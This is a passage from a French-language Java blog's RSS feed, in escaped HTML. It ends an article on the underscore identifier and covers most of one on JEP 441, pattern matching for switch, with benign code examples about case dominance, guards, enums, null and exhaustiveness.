&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le simple souligné &lt;code&gt;_&lt;/code&gt; est une syntaxe valide depuis Java 1.0, dont nous pouvions l&amp;#8217;utiliser en tant qu&amp;#8217;identifiant.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le processus qui a permit de réaliser des motifs et variables sans nom aujourd&amp;#8217;hui a commencé en 2014 avec Java 8. En effet, à partir de cette version, le compilateur émettait un avertissement si un simple souligné était utilisé comme identifiant.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Puis, en 2017, en java 9 avec la &lt;a href=&quot;https://openjdk.org/jeps/213&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 213: Milling Project Coin&lt;/a&gt;, l&amp;#8217;avertissement passe  à une erreur de compilation pour l&amp;#8217;utilisation du simple souligné &lt;code&gt;_&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;Les identifiants commençant par le caractère souligné &lt;code&gt;_&lt;/code&gt; est encore valide (si il est suivi de lettres).&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.org/jeps/443&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 443: Unnamed Patterns and Variables (Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.org/jeps/213&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 213: Milling Project Coin&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://bugs.openjdk.org/browse/JDK-8061549&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Disallow _ as a one-character identifier&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 441, Pattern Matching for switch</title>
      <link>https://www.lilian-benoit.fr/2023/05/JEP-441-Pattern-Matching-for-switch.html</link>
      <pubDate>dim., 21 mai 2023 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2023/05/JEP-441-Pattern-Matching-for-switch.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#principe&quot;&gt;Principe&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#dominance_des_étiquettes_de_cas&quot;&gt;Dominance des étiquettes de cas&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#raffinement_des_cas&quot;&gt;Raffinement des cas&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#gestion_des_enum_comme_étiquette_des_cas&quot;&gt;Gestion des &lt;code&gt;enum&lt;/code&gt; comme étiquette des cas&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#gestion_du_null&quot;&gt;Gestion du &lt;code&gt;null&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#exhaustivité_des_expressions_et_des_instructions&quot;&gt;Exhaustivité des expressions et des instructions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#exhaustivité_et_compatibilité&quot;&gt;Exhaustivité et compatibilité&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#portée_des_variables_des_motifs&quot;&gt;Portée des variables des motifs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le principe est comme le filtrage par motif pour &lt;code&gt;instanceof&lt;/code&gt; mais en l&amp;#8217;appliquant à l&amp;#8217;instruction &lt;code&gt;switch&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;Pour plus d&amp;#8217;informations sur le filtrage par motif pour &lt;code&gt;instanceof&lt;/code&gt;, je vous conseille cette article &lt;a href=&quot;/2021/03/JDK16-Nouveautes.html#394_pattern_matching_for_instanceof&quot;&gt;JEP 394 - Pattern Matching for instanceof&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cette fonctionnalité a connu trois aperçu&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/406&quot;&gt;JEP 406&lt;/a&gt; inclus dans le JDK 17&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/420&quot;&gt;JEP 420&lt;/a&gt; inclus dans le JDK 18&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/427&quot;&gt;JEP 427&lt;/a&gt; inclus dans le JDK 19&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant, c&amp;#8217;est bien une fonctionnalité standard qui sera inclus dans le JDK 21.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;principe&quot;&gt;Principe&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Reprenons, le principe. Avant cette fonctionnalité, nous avons le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static String formatter(Object o) {
    String formatted = &quot;unknown&quot;;
    if (o instanceof Integer i) {
        formatted = String.format(&quot;int %d&quot;, i);
    } else if (o instanceof Long l) {
        formatted = String.format(&quot;long %d&quot;, l);
    } else if (o instanceof Double d) {
        formatted = String.format(&quot;double %f&quot;, d);
    } else if (o instanceof String s) {
        formatted = String.format(&quot;String %s&quot;, s);
    }
    return formatted;
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous allons pouvoir simplifier l&amp;#8217;écriture du code en utilisant un filtrage par motif au niveau du &lt;code&gt;switch&lt;/code&gt; (et même une expression &lt;code&gt;switch&lt;/code&gt;).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static String formatterPatternSwitch(Object o) {
    return switch (o) {
        case Integer i -&amp;gt; String.format(&quot;int %d&quot;, i);
        case Long l    -&amp;gt; String.format(&quot;long %d&quot;, l);
        case Double d  -&amp;gt; String.format(&quot;double %f&quot;, d);
        case String s  -&amp;gt; String.format(&quot;String %s&quot;, s);
        default        -&amp;gt; o.toString();
    };
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;dominance_des_étiquettes_de_cas&quot;&gt;Dominance des étiquettes de cas&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il se peut que plusieurs étiquettes soient possibles. Il a été défini que c&amp;#8217;est l&amp;#8217;ordre apparition qui serait pris en compte. Cela fonctionne comme pour les exceptions.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Prenons un exemple avec les classes suivantes : &lt;code&gt;Forme&lt;/code&gt;, &lt;code&gt;Rectangle&lt;/code&gt; et &lt;code&gt;Triangle&lt;/code&gt; :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;class Forme {}
class Rectangle extends Forme {}
class Triangle  extends Forme { int calculerAire() { ... } }&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons écrire le code suivant en respectez bien l&amp;#8217;ordre.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void first(Object obj) {
    switch (obj) {
        case Triangle t -&amp;gt;
            System.out.println(&quot;C&apos;est un triangle : &quot; + t.calculerAire());
        case Forme f -&amp;gt;
            System.out.println(&quot;C&apos;est une forme&quot;);
        default -&amp;gt; {
            break;
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Sinon, cela ne compile pas comme le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void first(Object obj) {
    switch (obj) {
        case Forme f -&amp;gt;
            System.out.println(&quot;C&apos;est une forme&quot;);
        case Triangle t -&amp;gt;                            &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
            System.out.println(&quot;C&apos;est un triangle : &quot; + c.calculerAire());
        default -&amp;gt; {
            break;
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;ERREUR, un motif est dominé par un motif précédent (Triangle est une Forme)&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dans les exemples, nous manipulatons beaucoup les types mais les étiquettes constantes fonctionnent aussi bien.
Voici un exemple:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;Integer i = ...
switch (i) {
    case -1, 1 -&amp;gt; ...                   &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
    case Integer j -&amp;gt; ...               &lt;b class=&quot;conum&quot;&gt;(2)&lt;/b&gt;
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Cas spécifique&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Tous les autres cas&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;raffinement_des_cas&quot;&gt;Raffinement des cas&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Au delà du motif avec le type correspondant, nous pourrions avoir des conditions supplémentaires qui permet de raffiner le cas.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons traiter par type, entre &lt;code&gt;Rectangle&lt;/code&gt; et &lt;code&gt;Triangle&lt;/code&gt;. Cependant, nous aimerions définir des conditions supplémentaires. Par exemple, nous voulons traiter les triangles dont l&amp;#8217;aire est supérieur à 100.
Voici le code que nous devons écrire :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void testTriangle(Forme f) {
    switch (f) {
        case null:
            break;
        case Triangle t:
            if (t.calculerAire() &amp;gt; 100) {
                System.out.println(&quot;Grand triangle&quot;);
                break;
            }
        default:
            System.out.println(&quot;Une forme, qui peut être un petit triangle&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour cela, un nouveau mot-clé &lt;code&gt;when&lt;/code&gt; existe. Il permet de raffiner le cas. Dans notre exemple, nous avons &lt;code&gt;t.calculateArea() &amp;gt; 100&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void testTriangle(Forme f) {
    switch (f) {
        case Triangle t
        when t.calculerAire() &amp;gt; 100 -&amp;gt;
            System.out.println(&quot;Grand triangle&quot;);
        default -&amp;gt;
            System.out.println(&quot;Une forme, qui peut être un petit triangle&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Là encore, il est possible de mixer les composants :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void testTriangle(Forme f) {
    switch (f) {
        case Triangle t
        when t.calculerAire() &amp;gt; 100 -&amp;gt;
            System.out.println(&quot;Grand triangle&quot;);
        case Triangle t -&amp;gt;
            // Soit les triangles inférieur ou égale à 100
            System.out.println(&quot;Petit triangle&quot;);
        default -&amp;gt;
            System.out.println(&quot;Forme autre que triangle&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;gestion_des_enum_comme_étiquette_des_cas&quot;&gt;Gestion des &lt;code&gt;enum&lt;/code&gt; comme étiquette des cas&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Prenons le code suivant qui défini une énumération PILE et FACE&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;sealed interface Monnaie permits Piece {}
enum Piece implements Monnaie { PILE, FACE }&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons écrire la fonction suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void bonEnumSwitch1(Monnaie m) {
    switch (m) {
        case Piece.FACE -&amp;gt; {    &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
            System.out.println(&quot;Face&quot;);
        }
        case Piece.PILE -&amp;gt; {
            System.out.println(&quot;Pile&quot;);
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Nom qualifié de la constante est utilisé comme étiquette&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void bonEnumSwitch2(Piece p) {
    switch (p) {
        case FACE -&amp;gt; {
            System.out.println(&quot;Face&quot;);
        }
        case Piece.PILE -&amp;gt; {    &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
            System.out.println(&quot;Pile&quot;);
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Nom qualifié n&amp;#8217;est pas nécessaire mais cela reste autorisé.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En revanche, le code suivant ne compile pas&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void mauvaisEnumSwitch(Monnaie m) {
    switch (m) {
        case Piece.FACE -&amp;gt; {
            System.out.println(&quot;Face&quot;);
        }
        case PILE -&amp;gt; {         &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
            System.out.println(&quot;Pile&quot;);
        }
        default -&amp;gt; {
            System.out.println(&quot;Some currency&quot;);
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;ERREUR. Le nom qualifié doit être utilisé pour PILE car le type est &lt;code&gt;Monnaie&lt;/code&gt; et non &lt;code&gt;Piece&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;gestion_du_null&quot;&gt;Gestion du &lt;code&gt;null&lt;/code&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Jusqu&amp;#8217;à présent, la déclaration où l&amp;#8217;expression &lt;code&gt;switch&lt;/code&gt; avec une valeur &lt;code&gt;null&lt;/code&gt; lève une exception &lt;code&gt;NullPointerException&lt;/code&gt;. C&amp;#8217;est pourquoi, généralement, le &lt;code&gt;switch&lt;/code&gt; est protégé par l&amp;#8217;instruction &lt;code&gt;if&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void testFooBar(String s) {
    if (s == null) {
        System.out.println(&quot;Oops!&quot;);
        return;
    }
    switch (s) {
        case &quot;Foo&quot;, &quot;Bar&quot; -&amp;gt; System.out.println(&quot;Great&quot;);
        default           -&amp;gt; System.out.println(&quot;Ok&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant, nous pourrons écrire un label &lt;code&gt;null&lt;/code&gt; pour traiter ce cas. Ainsi, nous pouvons écrire :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void testFooBar(String s) {
    switch (s) {
        case null         -&amp;gt; System.out.println(&quot;Oops&quot;);
        case &quot;Foo&quot;, &quot;Bar&quot; -&amp;gt; System.out.println(&quot;Great&quot;);
        default           -&amp;gt; System.out.println(&quot;Ok&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le label peut être mélangé avec un autre. Ainsi, nous pouvons écrire par exemple :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void testStringOrNull(Object o) {
    switch (o) {
        case null, String s -&amp;gt; System.out.println(&quot;String: &quot; + s);
        default -&amp;gt; System.out.println(&quot;Something else&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour de raisons de compatibilité, si la valeur du sélecteur est &lt;code&gt;nulle&lt;/code&gt;, le &lt;code&gt;switch&lt;/code&gt; lève une exception &lt;code&gt;NullPointerException&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est à dire que le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void test(Object o) {
    switch (o) {
        case String s  -&amp;gt; System.out.println(&quot;String: &quot; + s);
        case Integer i -&amp;gt; System.out.println(&quot;Integer&quot;);
        default        -&amp;gt; System.out.println(&quot;default&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;est équivalent à celui-ci&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void test(Object o) {
    switch (o) {
        case null      -&amp;gt; throw new NullPointerException();
        case String s  -&amp;gt; System.out.println(&quot;String: &quot;+s);
        case Integer i -&amp;gt; System.out.println(&quot;Integer&quot;);
        default        -&amp;gt; System.out.println(&quot;default&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Là encore, c&amp;#8217;est le compilateur qui fait le travail.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela signifie aussi que le label &lt;code&gt;default&lt;/code&gt; ne peut pas correspondre à la valeur &lt;code&gt;nulle&lt;/code&gt;.
En revanche, nous pouvons le traiter comme tel si nous le souhaitons&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void test(Object o) {
    switch (o) {
        case String s  -&amp;gt; System.out.println(&quot;String: &quot;+s);
        case Integer i -&amp;gt; System.out.println(&quot;Integer&quot;);
        case null, default        -&amp;gt; System.out.println(&quot;default ou nulle&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;exhaustivité_des_expressions_et_des_instructions&quot;&gt;Exhaustivité des expressions et des instructions&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;expression &lt;code&gt;switch&lt;/code&gt; requiert que toutes les valeurs possibles soient prises en compte dans un bloc du switch.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par conséquent, le code suivant est erroné :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static int coverage(Object obj) {
    return switch (obj) {           &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
        case String s -&amp;gt; s.length();
    };
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Erreur car non exhaustif (String est seulement une possibilité pour un Object)&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous poursuivons en complétons l&amp;#8217;expression &lt;code&gt;switch&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static int coverage(Object obj) {
    return switch (obj) {           &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
        case String s -&amp;gt; s.length();
        case Integer i -&amp;gt; i;
    };
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Erreur car toujours pas exhaustif (String et Integer ne couvrent pas tous les cas)&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour couvrir tous les cas, nous allons utiliser l&amp;#8217;étiquette &lt;code&gt;default&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static int coverage(Object obj) {
    return switch (obj) {
        case String s -&amp;gt; s.length();
        case Integer i -&amp;gt; i;
        default -&amp;gt; 0;
    };
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De ce fait, nous pouvons utiliser le compilateur pour nous aider.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Partons sur le code suivant avec la définition de l&amp;#8217;énumération Couleur (Rouge et Bleu) et une expression &lt;code&gt;switch&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;enum Couleur { ROUGE, BLEU }

int nombreLettres = switch (couleur) {
    case ROUGE -&amp;gt; 5;
    case BLEU -&amp;gt; 4;
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant, si on ajoute une nouvelle Couleur. Nous avons une erreur de compilation pour les expressions &lt;code&gt;switch&lt;/code&gt; qui ne sont pas à jour&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;enum Couleur { ROUGE, BLEU, ORANGE }

int nombreLettres = switch (couleur) { &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
    case ROUGE -&amp;gt; 5;
    case BLEU -&amp;gt; 4;
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Erreur cas tous les cas ne sont pas couverts.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
